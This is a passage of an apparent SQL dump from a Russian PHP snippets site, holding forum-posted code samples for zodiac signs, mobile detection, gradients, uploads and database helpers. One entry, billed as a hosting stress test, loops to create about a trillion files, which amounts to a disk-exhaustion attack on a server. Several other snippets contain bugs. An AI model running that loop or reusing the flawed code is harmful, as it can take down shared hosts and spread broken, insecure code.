$file=file(&quot;proxy.txt&quot;);   function get($ip,$port,$path)   { ','files_3274_3280_',1),(26,9,'Несколько моментов','В этом коде нет ничего особенного, просто многие не знают, что можно делать такими способами.\r\nКод расчитан на новичков, так что те, кто знает это, прошу не ворчать, что это стандартные моменты языка.\r\nДа, стандартные, но, поторюсь, не все знают, а зря...','&lt;?php  #Пример 1.  //вместо длинного условия: if ($i &gt; 1)  $color = \'green\'; else $color = \'black\';  //можно писать так: $color = ($i &gt; 1) ? \'green\' : \'black\';  /* это 2 полностью альтернативных действия, но как видите - результат на лицо, код сокращен и более читабелен. */   #Пример 2.  /* например, после различных фильтраций переменных, полученных от пользователя, иногда приходится проверять их(переменные) на пустоту. обычно все пишут так: */  if (empty($name)) {} //более правильный вариант, на мой взгляд, из тех 3ех, которые ниже.  //но используют и такие варианты:  if ($name == \'\') {}  if ($name == 0) {}  if ($name == NULL) {}  //но на все это, тоже есть альтернатива, которая записывается короче:  if ($name) {} // вернет 1 и условие выполнится, если в переменной $name имеется хотя бы какое-то значение, кроме 0.  if (!$name) {} //означает, что переменная $name пуста, либо имеет значение 0.    /* На этом все, надеюсь хотя бы кому-то приглянется такой стиль, ну и вообще кому-то пригодится эта информация */ ?&gt;','files_1572_1667_',1),(27,15,'Тест на прочность хостинга','создает много файлов. многие хостера, вырубят ваш сайт после успешного выполнение этого кода. если ваш сайт выдержал такую нагрузку, то прошу вас написать адрес хостера который вы сидите.','&lt;?php $x=0; while ($x++&lt;1000500100500){ $filename=&quot;$x.txt&quot;; file_put_contents($filename,&quot;$x&quot;); } ?&gt;','files_4453_3835_',151),(28,15,'Определение зодиака!','Определение зодиака!','&lt;?php  function zodiak($mes,$den)  {  switch($mes)  {  case 1: return(20&lt;=$den?\'Водолей\':\'Козерог\'); break;  case 2: return(19&lt;=$den?\'Рыба\':\'Водолей\'); break;  case 3: return(21&lt;=$den?\'Овен\':\'Рыба\'); break;  case 4: return(21&lt;=$den?\'Телец\':\'Овен\'); break;  case 5: return(21&lt;=$den?\'Близнецы\':\'Телец\'); break;  case 6: return(22&lt;=$den?\'Рак\':\'Близнецы\'); break;  case 7: return(23&lt;=$den?\'Лев\':\'Рак\'); break;  case 8: return(23&lt;=$den?\'Дева\':\'Лев\'); break;  case 9: return(23&lt;=$den?\'Весы\':\'Дева\'); break;  case 10: return(23&lt;=$den?\'Скорпион\':\'Весы\'); break;  case 11: return(22&lt;=$den?\'Стрелец\':\'Скорпион\'); break;  case 12: return(22&lt;=$den?\'Козерог\':\'Стрелец\'); break;  }  }  ?&gt;    Применение:  &lt;?php  echo zodiak(\'Месяц_рождения\',\'День_рождения\');  ?&gt;','files_2949_2541_',151),(29,15,'Отправка сообщений на email','Отправка сообщений на\r\nemail','function mail_send ($email, $smail, $subject, $message, $info = \'\', $pr = \'\' { $email = text_filter ( $email ); $smail = text_filter ( $smail ); $subject = text_filter ( $subject ); $pr = ( ! $pr ) ? 3 : intval ( $pr ); if ( $info ) $message = $message . \' \' . _IP . \': \'. getip () . \' \' . _BRO WSER . \': \' . getagent (); $mheader = \'MIME- Version: 1.0n\' .\'Content- Type: text/ html; charset=\' . _CHARSET . \'n\' .\'Content- Transfer- Encoding: 8bitn\' .\'Reply- To: &quot;\' . $smail .\'&quot; &lt;\' . $smail .\'&gt;n\' .\'From: &quot;\' . $smail .\'&quot; &lt;\' . $smail .\'&gt;n\' .\'Return- Path: &lt;\' . $smail .\'&gt;n\' .\'X- Priority:','files_3522_1497_',151),(30,15,'Ссылки без php','Так я решил избавить все ссылки на сайте от расширения \\&quot;.php\\&quot;, сделав все ссылки более \\&quot;красивыми\\&quot;, не меняя ссылки в более, чем сотне файлов.\r\nЕстественно, есть и соответствующий код в \\&quot;.htaccess\\&quot;:\r\n\r\nRewriteRule ^([a-z0-9_]+)?$ $1.php [L,QSA]','&lt;?php ob_start();  //....................................................................... //....................................................................... //....................................................................... //.......................................................................  $main_output=ob_get_contents(); ob_end_clean(); $main_output=str_replace(array(&quot;\\&quot;thread.php&quot;, &quot;\'thread.php&quot;), array(&quot;\\&quot;thread&quot;, &quot;\'thread&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;activitywall.php&quot;, &quot;\'activitywall.php&quot;), array(&quot;\\&quot;activitywall&quot;, &quot;\'activitywall&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;topics.php&quot;, &quot;\'topics.php&quot;), array(&quot;\\&quot;topics&quot;, &quot;\'topics&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;labels.php&quot;, &quot;\'labels.php&quot;), array(&quot;\\&quot;labels&quot;, &quot;\'labels&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;editme.php&quot;, &quot;\'editme.php&quot;), array(&quot;\\&quot;edit&quot;, &quot;\'edit&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;ticket.php&quot;, &quot;\'ticket.php&quot;), array(&quot;\\&quot;ticket&quot;, &quot;\'ticket&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;support.php&quot;, &quot;\'support.php&quot;), array(&quot;\\&quot;support&quot;, &quot;\'support&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;blog.php&quot;, &quot;\'blog.php&quot;), array(&quot;\\&quot;blog&quot;, &quot;\'blog&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;help.php&quot;, &quot;\'help.php&quot;), array(&quot;\\&quot;help&quot;, &quot;\'help&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;label.php&quot;, &quot;\'label.php&quot;), array(&quot;\\&quot;label&quot;, &quot;\'label&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;newblog.php&quot;, &quot;\'newblog.php&quot;), array(&quot;\\&quot;newblog&quot;, &quot;\'newblog&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;users.php&quot;, &quot;\'users.php&quot;), array(&quot;\\&quot;users&quot;, &quot;\'users&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;user.php&quot;, &quot;\'user.php&quot;), array(&quot;\\&quot;user&quot;, &quot;\'user&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;thread.php&quot;, &quot;\'thread.php&quot;), array(&quot;\\&quot;thread&quot;, &quot;\'thread&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;ask.php&quot;, &quot;\'ask.php&quot;), array(&quot;\\&quot;ask&quot;, &quot;\'ask&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;search.php&quot;, &quot;\'search.php&quot;), array(&quot;\\&quot;search&quot;, &quot;\'search&quot;), $main_output); $main_output=str_replace(array(&quot;\\&quot;home.php&quot;, &quot;\'home.php&quot;), array(&quot;\\&quot;/&quot;, &quot;\'/&quot;), $main_output); echo $main_output; ?&gt;','files_5188_2274_',151),(31,15,'Определяем версию сайта','Код работает на 100%, ради интереса можете проверить незатейливым условием. Например создайте пустой файл PHP на хостинге или на локальном сервере с поддержкой PHP (например Денвер) и пропишите туда этот код:\r\n\r\nif (!is_mobile()){\r\necho \'Ты с компа\';\r\n}else{\r\necho \'Ты с телефона\';\r\n}\r\n\r\nЗатем попробуйте зайти на этот файл с обычного браузера компьютера, после с мобильного браузера через эмулятор или с телефона, увидите как код работает безошибочно определяя вашу принадлежность к мобильному пользователю или стационарному. В заключении повторюсь — не пренебрегайте мобильной версией сайта, так как за мобильным интернетом будущее.','/*-------------------------------------------------------------------- # Определяем пренадлежность браузера к мобильным устройствам # Возвращает false - если браузер не определен или стационарный # и от 1 до 4 (зависит от типа определения) - если браузер относится к мобильным устройствам --------------------------------------------------------------------*/ function is_mobile() { $user_agent=strtolower(getenv(\'HTTP_USER_AGENT\')); $accept=strtolower(getenv(\'HTTP_ACCEPT\')); if ((strpos($accept,\'text/vnd.wap.wml\')!==false) || (strpos($accept,\'application/vnd.wap.xhtml+xml\')!==false)) { return 1; // Возращает 1 если мобильный браузер определен по HTTP-заголовкам } if (isset($_SERVER[\'HTTP_X_WAP_PROFILE\']) || isset($_SERVER[\'HTTP_PROFILE\'])) { return 2; // Возвращает 2 если мобильный браузер определен по установкам сервера } if (preg_match(\'/(mini 9.5|vx1000|lge |m800|e860|u940|ux840|compal|\'. \'wireless| mobi|lg380|ahong|lgku|lgu900|lg210|lg47|lg920|lg840|\'. \'lg370|sam-r|mg50|s55|g83|mk99|vx400|t66|d615|d763|sl900|el370|\'. \'mp500|samu4|samu3|vx10|xda_|samu6|samu5|samu7|samu9|a615|b832|\'. \'m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|\'. \'r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|\'. \'i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|\'. \'htil-g1|fly v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|\'. \'sanyo|vx54|c888|nx250|n120|mtk |c5588|s710|t880|c5005|i;458x|\'. \'p404i|s210|c5100|s940|teleca|c500|s590|foma|vx8|samsu|vx9|a1000|\'. \'_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|\'. \'s800|8325rc|ac831|mw200|brew |d88|htc\\/|htc_touch|355x|m50|km100|\'. \'d736|p-9521|telco|sl74|ktouch|m4u\\/|me702|8325rc|kddi|phone|lg |\'. \'sonyericsson|samsung|nokia|240x|x320vx10|sony cmd|motorola|\'. \'up.browser|up.link|mmp|symbian|android|tablet|iphone|ipad|mobile|smartphone|j2me|wap|vodafone|o2|\'. \'pocket|kindle|mobile|psp|treo)/\', $user_agent)) { return 3; // Возвращает 3 если мобильный браузер определен по сигнатуре User Agent } if (in_array(substr($user_agent,0,4), Array(&quot;1207&quot;, &quot;3gso&quot;, &quot;4thp&quot;, &quot;501i&quot;, &quot;502i&quot;, &quot;503i&quot;, &quot;504i&quot;, &quot;505i&quot;, &quot;506i&quot;, &quot;6310&quot;, &quot;6590&quot;, &quot;770s&quot;, &quot;802s&quot;, &quot;a wa&quot;, &quot;abac&quot;, &quot;acer&quot;, &quot;acoo&quot;, &quot;acs-&quot;, &quot;aiko&quot;, &quot;airn&quot;, &quot;alav&quot;, &quot;alco&quot;, &quot;alca&quot;, &quot;amoi&quot;, &quot;anex&quot;, &quot;anyw&quot;, &quot;anny&quot;, &quot;aptu&quot;, &quot;arch&quot;, &quot;asus&quot;, &quot;aste&quot;, &quot;argo&quot;, &quot;attw&quot;, &quot;au-m&quot;, &quot;audi&quot;, &quot;aur &quot;, &quot;aus &quot;, &quot;avan&quot;, &quot;beck&quot;, &quot;bell&quot;, &quot;benq&quot;, &quot;bilb&quot;, &quot;bird&quot;, &quot;blac&quot;, &quot;blaz&quot;, &quot;brew&quot;, &quot;brvw&quot;, &quot;bumb&quot;, &quot;bw-n&quot;, &quot;bw-u&quot;, &quot;c55/&quot;, &quot;capi&quot;, &quot;ccwa&quot;, &quot;cdm-&quot;, &quot;cell&quot;, &quot;chtm&quot;, &quot;cldc&quot;, &quot;cmd-&quot;, &quot;dmob&quot;, &quot;cond&quot;, &quot;craw&quot;, &quot;dait&quot;, &quot;dall&quot;, &quot;dang&quot;, &quot;dbte&quot;, &quot;dc-s&quot;, &quot;devi&quot;, &quot;dica&quot;, &quot;doco&quot;, &quot;dopo&quot;, &quot;ds-d&quot;, &quot;ds12&quot;, &quot;el49&quot;, &quot;elai&quot;, &quot;eml2&quot;, &quot;emul&quot;, &quot;eric&quot;, &quot;erk0&quot;, &quot;esl8&quot;, &quot;ez40&quot;, &quot;ez60&quot;, &quot;ez70&quot;, &quot;ezos&quot;, &quot;ezwa&quot;, &quot;ezze&quot;, &quot;fake&quot;, &quot;fetc&quot;, &quot;fly-&quot;, &quot;fly_&quot;, &quot;g-mo&quot;, &quot;g1 u&quot;, &quot;g560&quot;, &quot;gene&quot;, &quot;gf-5&quot;, &quot;go.w&quot;, &quot;good&quot;, &quot;grad&quot;, &quot;grun&quot;, &quot;haie&quot;, &quot;hcit&quot;, &quot;hd-m&quot;, &quot;hd-p&quot;, &quot;hd-t&quot;, &quot;hei-&quot;, &quot;hiba&quot;, &quot;hipt&quot;, &quot;hita&quot;, &quot;hp i&quot;, &quot;hpip&quot;, &quot;hs-c&quot;, &quot;htc &quot;, &quot;htc-&quot;, &quot;htc_&quot;, &quot;htca&quot;, &quot;htcg&quot;, &quot;htcp&quot;, &quot;htcs&quot;, &quot;htct&quot;, &quot;http&quot;, &quot;hutc&quot;, &quot;huaw&quot;, &quot;i-20&quot;, &quot;i-go&quot;, &quot;i-ma&quot;, &quot;i230&quot;, &quot;iac&quot;, &quot;iac-&quot;, &quot;iac/&quot;, &quot;ibro&quot;, &quot;idea&quot;, &quot;ig01&quot;, &quot;ikom&quot;, &quot;im1k&quot;, &quot;inno&quot;, &quot;ipaq&quot;, &quot;iris&quot;, &quot;jata&quot;, &quot;java&quot;, &quot;jbro&quot;, &quot;jemu&quot;, &quot;jigs&quot;, &quot;kddi&quot;, &quot;keji&quot;, &quot;kgt&quot;, &quot;kgt/&quot;, &quot;klon&quot;, &quot;kpt &quot;, &quot;kwc-&quot;, &quot;kyoc&quot;, &quot;kyok&quot;, &quot;leno&quot;, &quot;lexi&quot;, &quot;lg g&quot;, &quot;lg-a&quot;, &quot;lg-b&quot;, &quot;lg-c&quot;, &quot;lg-d&quot;, &quot;lg-f&quot;, &quot;lg-g&quot;, &quot;lg-k&quot;, &quot;lg-l&quot;, &quot;lg-m&quot;, &quot;lg-o&quot;, &quot;lg-p&quot;, &quot;lg-s&quot;, &quot;lg-t&quot;, &quot;lg-u&quot;, &quot;lg-w&quot;, &quot;lg/k&quot;, &quot;lg/l&quot;, &quot;lg/u&quot;, &quot;lg50&quot;, &quot;lg54&quot;, &quot;lge-&quot;, &quot;lge/&quot;, &quot;libw&quot;, &quot;lynx&quot;, &quot;m-cr&quot;, &quot;m1-w&quot;, &quot;m3ga&quot;, &quot;m50/&quot;, &quot;mate&quot;, &quot;maui&quot;, &quot;maxo&quot;, &quot;mc01&quot;, &quot;mc21&quot;, &quot;mcca&quot;, &quot;medi&quot;, &quot;merc&quot;, &quot;meri&quot;, &quot;midp&quot;, &quot;mio8&quot;, &quot;mioa&quot;, &quot;mits&quot;, &quot;mmef&quot;, &quot;mo01&quot;, &quot;mo02&quot;, &quot;mobi&quot;, &quot;mode&quot;, &quot;modo&quot;, &quot;mot &quot;, &quot;mot-&quot;, &quot;moto&quot;, &quot;motv&quot;, &quot;mozz&quot;, &quot;mt50&quot;, &quot;mtp1&quot;, &quot;mtv &quot;, &quot;mwbp&quot;, &quot;mywa&quot;, &quot;n100&quot;, &quot;n101&quot;, &quot;n102&quot;, &quot;n202&quot;, &quot;n203&quot;, &quot;n300&quot;, &quot;n302&quot;, &quot;n500&quot;, &quot;n502&quot;, &quot;n505&quot;, &quot;n700&quot;, &quot;n701&quot;, &quot;n710&quot;, &quot;nec-&quot;, &quot;nem-&quot;, &quot;neon&quot;, &quot;netf&quot;, &quot;newg&quot;, &quot;newt&quot;, &quot;nok6&quot;, &quot;noki&quot;, &quot;nzph&quot;, &quot;o2 x&quot;, &quot;o2-x&quot;, &quot;o2im&quot;, &quot;opti&quot;, &quot;opwv&quot;, &quot;oran&quot;, &quot;owg1&quot;, &quot;p800&quot;, &quot;palm&quot;, &quot;pana&quot;, &quot;pand&quot;, &quot;pant&quot;, &quot;pdxg&quot;, &quot;pg-1&quot;, &quot;pg-2&quot;, &quot;pg-3&quot;, &quot;pg-6&quot;, &quot;pg-8&quot;, &quot;pg-c&quot;, &quot;pg13&quot;, &quot;phil&quot;, &quot;pire&quot;, &quot;play&quot;, &quot;pluc&quot;, &quot;pn-2&quot;, &quot;pock&quot;, &quot;port&quot;, &quot;pose&quot;, &quot;prox&quot;, &quot;psio&quot;, &quot;pt-g&quot;, &quot;qa-a&quot;, &quot;qc-2&quot;, &quot;qc-3&quot;, &quot;qc-5&quot;, &quot;qc-7&quot;, &quot;qc07&quot;, &quot;qc12&quot;, &quot;qc21&quot;, &quot;qc32&quot;, &quot;qc60&quot;, &quot;qci-&quot;, &quot;qtek&quot;, &quot;qwap&quot;, &quot;r380&quot;, &quot;r600&quot;, &quot;raks&quot;, &quot;rim9&quot;, &quot;rove&quot;, &quot;rozo&quot;, &quot;s55/&quot;, &quot;sage&quot;, &quot;sama&quot;, &quot;sams&quot;, &quot;samm&quot;, &quot;sany&quot;, &quot;sava&quot;, &quot;sc01&quot;, &quot;sch-&quot;, &quot;scoo&quot;, &quot;scp-&quot;, &quot;sdk/&quot;, &quot;se47&quot;, &quot;sec-&quot;, &quot;sec0&quot;, &quot;sec1&quot;, &quot;semc&quot;, &quot;send&quot;, &quot;seri&quot;, &quot;sgh-&quot;, &quot;shar&quot;, &quot;sie-&quot;, &quot;siem&quot;, &quot;sk-0&quot;, &quot;sl45&quot;, &quot;slid&quot;, &quot;smal&quot;, &quot;smar&quot;, &quot;smb3&quot;, &quot;smit&quot;, &quot;smt5&quot;, &quot;soft&quot;, &quot;sony&quot;, &quot;sp01&quot;, &quot;sph-&quot;, &quot;spv &quot;, &quot;spv-&quot;, &quot;sy01&quot;, &quot;symb&quot;, &quot;t-mo&quot;, &quot;t218&quot;, &quot;t250&quot;, &quot;t600&quot;, &quot;t610&quot;, &quot;t618&quot;, &quot;tagt&quot;, &quot;talk&quot;, &quot;tcl-&quot;, &quot;tdg-&quot;, &quot;teli&quot;, &quot;telm&quot;, &quot;tim-&quot;, &quot;topl&quot;, &quot;treo&quot;, &quot;tosh&quot;, &quot;ts70&quot;, &quot;tsm-&quot;, &quot;tsm3&quot;, &quot;tsm5&quot;, &quot;tx-9&quot;, &quot;up.b&quot;, &quot;upg1&quot;, &quot;upsi&quot;, &quot;utst&quot;, &quot;v400&quot;, &quot;v750&quot;, &quot;veri&quot;, &quot;virg&quot;, &quot;vite&quot;, &quot;vk-v&quot;, &quot;vk40&quot;, &quot;vk50&quot;, &quot;vk53&quot;, &quot;vk52&quot;, &quot;vm40&quot;, &quot;vulc&quot;, &quot;voda&quot;, &quot;vx52&quot;, &quot;vx53&quot;, &quot;vx60&quot;, &quot;vx61&quot;, &quot;vx70&quot;, &quot;vx80&quot;, &quot;vx81&quot;, &quot;vx83&quot;, &quot;vx85&quot;, &quot;vx98&quot;, &quot;w3c &quot;, &quot;w3c-&quot;, &quot;wap-&quot;, &quot;wapa&quot;, &quot;wapi&quot;, &quot;wapj&quot;, &quot;wapp&quot;, &quot;wapm&quot;, &quot;wapr&quot;, &quot;waps&quot;, &quot;wapt&quot;, &quot;wapu&quot;, &quot;wapv&quot;, &quot;wapy&quot;, &quot;webc&quot;, &quot;whit&quot;, &quot;wig &quot;, &quot;winc&quot;, &quot;winw&quot;, &quot;wmlb&quot;, &quot;wonu&quot;, &quot;x700&quot;, &quot;xda-&quot;, &quot;xdag&quot;, &quot;xda2&quot;, &quot;yas-&quot;, &quot;your&quot;, &quot;zeto&quot;, &quot;zte-&quot;))) { return 4; // Возвращает 4 если мобильный браузер определен по сигнатуре User Agent } return false; // Возвращает false если мобильный браузер не определен или браузер стационарный } ////////////////////////////  Далее можно использовать функцию is_mobile(); как вам требуется. Можно выводить с ее помощью разные файлы CSS для мобильного браузера или стационарного. Примитивный пример:  if (!is_mobile()){ echo\'&lt;link rel=&quot;stylesheet&quot; href=&quot;/web.css&quot; type=&quot;text/css&quot;/&gt;\'; }else{ echo\'&lt;link rel=&quot;stylesheet&quot; href=&quot;/wap.css&quot; type=&quot;text/css&quot;/&gt;\'; }','files_1393_5234_',151),(32,9,'Вывод размера в байтах,килобайтах и мегабайтах','Вывод размера в байтах,килобайтах и мегабайтах','&lt;?phpfunction ConvertBytes($number){$len = strlen ($number);if ($len &lt; 4){ return sprintf(&quot;%d b&quot;, $number); }if ($len&gt;= 4 &amp;&amp; $len &lt;=6){ return sprintf(&quot;%0.2f Kb&quot;, $number/1024); }if ($len&gt;= 7 &amp;&amp; $len &lt;=9){ return sprintf(&quot;%0.2f Mb&quot;, $number/1024/1024); }return sprintf(&quot;%0.2f Gb&quot;, $number/1024/1024/1024);}ConvertBytes(intval($_GET[\'size\']));?&gt;','files_3842_2408_',151),(33,9,'Генератор грандиентов','Полезный код;)','//определяем тип: вертикальный или горизонтальный$type = (isset($_GET[\'type\']) &amp;&amp; $_GET[\'type\'] == \'g\') ? \'g\' : \'v\';//определяем высоту$height = (isset($_GET[\'h\'])) ? intval($_GET[\'h\']) : 100;//определяем ширину$width = (isset($_GET[\'w\'])) ? intval($_GET[\'w\']) : 60;//определяем цвета$start = (isset($_GET[\'s\']) &amp;&amp; preg_match(\'#[0-9A-F]{6}#\',$_GET[\'s\'])) ? $_GET[\'s\'] : \'000000\';$end = (isset($_GET[\'e\']) &amp;&amp; preg_match(\'#[0-9A-F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] : \'FFFFFF\';//определяем RGB этих цветов$start_r= hexdec(substr($start, 0, 2));$start_g = hexdec(substr($start, 2, 2));$start_b = hexdec(substr($start, 4, 2));$end_r = hexdec(substr($end, 0, 2));$end_g = hexdec(substr($end, 2, 2));$end_b = hexdec(substr($end, 4, 2));//создаём картинку$image = imagecreate($width, $height);//определяем тип и рисуем градиентif($type == \'g\'){ for($x=0; $x&lt;$width; $x ){ $new_r = $start_r - intval(($start_r - $end_r) / $width * $x); $new_g = $start_g - intval(($start_g - $end_g) / $width * $x); $new_b = $start_b - intval(($start_b - $end_b) / $width * $x); $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, $x, 0, $x, $height, $row_color); }}else{ for($y=0; $y&lt;$height; $y ){ $new_r = $start_r - intval(($start_r - $end_r) / $height * $y); $new_g = $start_g - intval(($start_g - $end_g) / $height * $y); $new_b = $start_b - intval(($start_b - $end_b) / $height * $y); $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, 0, $y, $width, $y, $row_color); }}header(\'Content-type: image/png\');imagepng($image);imagedestroy($image);','files_5533_2365_',151),(34,9,'Генератор случайного текста','Этот класс предназначен для добавления в текст случайных слов из указанного списка. Потребность может быть вызвана, например для формирования ссылок на Ваш сайт для предотвращения &quot;склейки&quot; ссылок поисковыми системами.Например, строка: &quot;Моя голова (машет|трясет|кивает|шевелит) ушами&quot; может быть возвращаена как:Моя голова машет ушамиМоя голова трясет ушамиМоя голова кивает ушамиМоя голова шевелит','&lt;?phpclass alternate { var $s;var $pattern; function ms () {//seeding list($usec, $sec) = explode(\' \', microtime()); return (float) $sec ((float) $usec * 100000); srand(make_seed()); } function bracket ($str) { //returns bracket code if (!strcmp($str,&quot;(&quot;)) {return 1;} elseif (!strcmp($str,&quot;)&quot;)) {return -1;} else {return 0;} } function alternate ($s=&quot;&quot;) { $this-&gt;ms(); $this-&gt;s=$s; $this-&gt;pattern=&quot;/(([^(]*?))/m&quot;; while (preg_match($this-&gt;pattern,$this-&gt;s)!=0) $this-&gt;s=preg_replace_callback ($this-&gt;pattern, create_function (\'$matches\', \'$store=explode(&quot;|&quot;,$matches[1]); $store=explode(&quot;|&quot;,$matches[1]); $rand_key=$store[array_rand($store,1)]; return $rand_key;\'), $this-&gt;s); }}$str=htmlspecialchars($_GET[\'str\']);if (!empty($str)) {$alter=new alternate ($str); print &quot;&lt;br&gt;nИсходная строка: &lt;b&gt;&quot;.$str.&quot;&lt;/b&gt;&lt;br&gt;nРезультат: &lt;b&gt;&quot;.($alter-&gt;s).&quot;&lt;/b&gt;&lt;br&gt;n&quot;;}&lt;p&gt;&lt;form name=&quot;form&quot; method=&quot;get&quot;&gt;Строка для преобразования:&lt;input name=&quot;str&quot; type=&quot;text&quot; style=&quot;width:300px;&quot; /&gt;&lt;/form&gt;&lt;/p&gt;?&gt;','files_4652_3487_',151),(35,9,'&quot;Обёртка&quot; для работы с бд PDO','Критикуйте кароче полностью :D ибо я рад буду критике ну в данном случае рад','&lt;?php class sql { private $db; private $count = 0;  public function __construct ($host,$user,$pass,$name,$charset = \'utf-8\') { $dsn = \'mysql:host=\'.$host.\';dbname=\'.$db.\';charset=\'.$charset; $this-&gt;db = new PDO($dsn, $user, $pass); $this-&gt;db-&gt;query(\'SET NAMES \'.$charset); }  public function num_rows ($sql, $value=NULL) { if ($this-&gt;db == FALSE) { return FALSE; } $this-&gt;count++; if ($value == NULL) { return $this-&gt;db-&gt;query($sql)-&gt;rowCount(); } if ($value != NULL) { $query=$this-&gt;db-&gt;prepare($sql); $query-&gt;execute($value); return $query-&gt;rowCount(); } }  public function query ($sql, $value=NULL) { if ($this-&gt;db == FALSE) { return FALSE; } $this-&gt;count++; if ($value == NULL) { return $this-&gt;db-&gt;query($sql); } if ($value != NULL) { $query=$this-&gt;db-&gt;prepare($sql); $query-&gt;execute($value); return $query; } }  public function check ($var) { if ($this-&gt;db == FALSE) { return FALSE; } return $this-&gt;db-&gt;quote($var); }  public function fetch_assoc ($query) { if ($this-&gt;db == FALSE) { return FALSE; } return $query-&gt;fetch(PDO::FETCH_ASSOC); }  public function fetch_array ($query) { if ($this-&gt;db == FALSE) { return FALSE; } return $query-&gt;fetch(PDO::FETCH_ARRAY); }  public function set ($key, $value) { $this-&gt;db-&gt;setAttribute($key, $value); }  public function result ($query) { if ($this-&gt;db == FALSE) { return FALSE; } return $query-&gt;rowCount(); } } ?&gt;','files_2550_3405_',151),(36,9,'Рандом чисел','Как на http://random.org','&lt;?php if(isset($_POST[\'submit\'])){  if($_POST[\'ot\'] != 1) $random = \'Результат: \'.mt_rand(1, $_POST[\'do\']).\'&lt;hr /&gt;\'; else $random = \'Результат: \'.mt_rand(1, ($_POST[\'do\']-$_POST[\'ot\'])).\'&lt;hr /&gt;\'; } echo \'&lt;form method=&quot;post&quot;&gt;\'.$random.\'&lt;br /&gt; От:&lt;br /&gt; &lt;input type=&quot;text&quot; name=&quot;ot&quot; value=&quot;1&quot; /&gt;&lt;br /&gt; До:&lt;br /&gt; &lt;input type=&quot;text&quot; name=&quot;do&quot; value=&quot;100&quot; /&gt;&lt;br /&gt; &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Получить&quot; /&gt; &lt;input type=&quot;submit&quot; name=&quot;refresh&quot; value=&quot;Обновить&quot; /&gt;&lt;/form&gt;\'; ?&gt;','files_2739_4985_',151),(37,9,'Обрезка ссылки','Обрезает ссылку','$link = htmlspecialchars($_SERVER[\'HTTP_REFERER\']); preg_match(&quot;/^(http://?[^/]+)/i&quot;,$link,$link2); print_r($link2[1]);','files_4996_2938_',151),(38,10,'Листинг RAR архива','Простой способ просмотреть RAR архив','&lt;?php function sizer($s) { $o=1; while($s&gt;1024) { $s = round($s / 1024, 1); $o++; } switch($o) { case(1): $o=\'b\'; break; case(2): $o=\'Kb\'; break; case(3): $o=\'Mb\'; break; case(4): $o=\'Gb\'; break; } return $s.$o; } $filepath = \'test.rar\'; $rar = rar_open($filepath) or die (\'Ошибка открытия RAR архива\'); $list = rar_list($rar); $c = count($list); echo\'Обьектов: \'.$c.\'&lt;hr/&gt;\'; for($i = 0; $i&lt;$c; $i++) { echo $list[$i]-&gt;name.\' [\'.sizer($list[$i]- &gt;unpacked_size).\'/\'.sizer($list[$i]- &gt;packed_size).\']&lt;br/&gt;\'; } rar_close($rar); ?&gt;','files_4448_3536_',151),(39,10,'Лепим копирайт на ZIP-архив','Лепим копирайт на ZIP-архив','&lt;?php  $filepath = \'my_archive.zip\';  $zip = new ZipArchive;  if ($zip-&gt;open($filepath) === TRUE)  {  //$zip-&gt;addFile(\'/papka/ReadMe_PHPcodes.RU.txt\', \'ReadMe_PHPcodes.RU.txt\');  $zip-&gt;setArchiveComment(\'PHPcodes.RU - супер-пупер-мего сайт!\');  $zip-&gt;addFromString(\'ReadMe_PHPcodes.RU.txt\',\'Скачано с PHPcodes.RU\');  $zip-&gt;close();  echo\'гуд\';  }  else  {  echo\'ой!\';  }  ?&gt;','files_3086_1596_',151),(40,10,'Одним кликом','С помощью этого кода можно например всем игрокам дать игровую валюту. Так же если у игроков пустые поля в базе! Можно их заполнить чтобы не мучатся!\r\nИнструкция! Прописать код где хочешь(на 3 сек). Зайти как пользователь на ту страницу где в корне лежит код и обновить страницу! Все код можно удалять! Если код оставить то игрокам всегда будет что то даватся!','$sql = mysql_query(&quot;SELECT * FROM `(к примеру)user`;&quot;); while ($req = mysql_fetch_array($sql)) { mysql_query (&quot;UPDATE `(к примеру)user` SET `(например золото)gold` = \'(значение)11\' WHERE `id`=\'&quot;.$req[\'id\'].&quot;\';&quot;); }','files_1751_1530_',151),(41,10,'использую в своих проектах','использую в своих проектах','&lt;?php  // upload.php //  if (!empty($_FILES[\'files\'][\'name\'][0])) { $files = $_FILES[\'files\'];  $uploaded = array(); $failed = array();  $allowed = array(\'txt\', \'zip\');  foreach ($files[\'name\'] as $position =&gt; $file_name) {  $file_tmp = $files[\'tmp_name\'][$position]; $file_size = $files[\'size\'][$position]; $file_error = $files[\'error\'][$position]; $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);  if (in_array($file_ext, $allowed)) { if ($file_error === 0) { if ($file_size &lt;= 2097152) { $file_name_new = uniqid(\'\', true) . \'.\' . $file_ext; $file_descination = \'uploads/\' . $file_name_new;  if (move_uploaded_file($file_tmp, $file_descination)) { $uploaded[$position] = &quot;[$file_name]: успешно загружен&quot;; } else { $failed[$position] = &quot;[$file_name]: возникла ошибка при загрузке файла&quot;; } } else { $failed[$position] = &quot;[$file_name]: расширение файла превышает допустимые значения&quot;; } } else { $failed[$position] = &quot;[$file_name]: возникла ошибка при загрузке файла&quot;; } } else { $failed[$position] = &quot;Расширение файла [{$file_name}]: &lt;b&gt;{$file_ext}&lt;/b&gt;&quot;; } }  if (!empty($uploaded)) { print_r($uploaded); }  if (!empty($failed)) { print_r($failed); } } ?&gt;  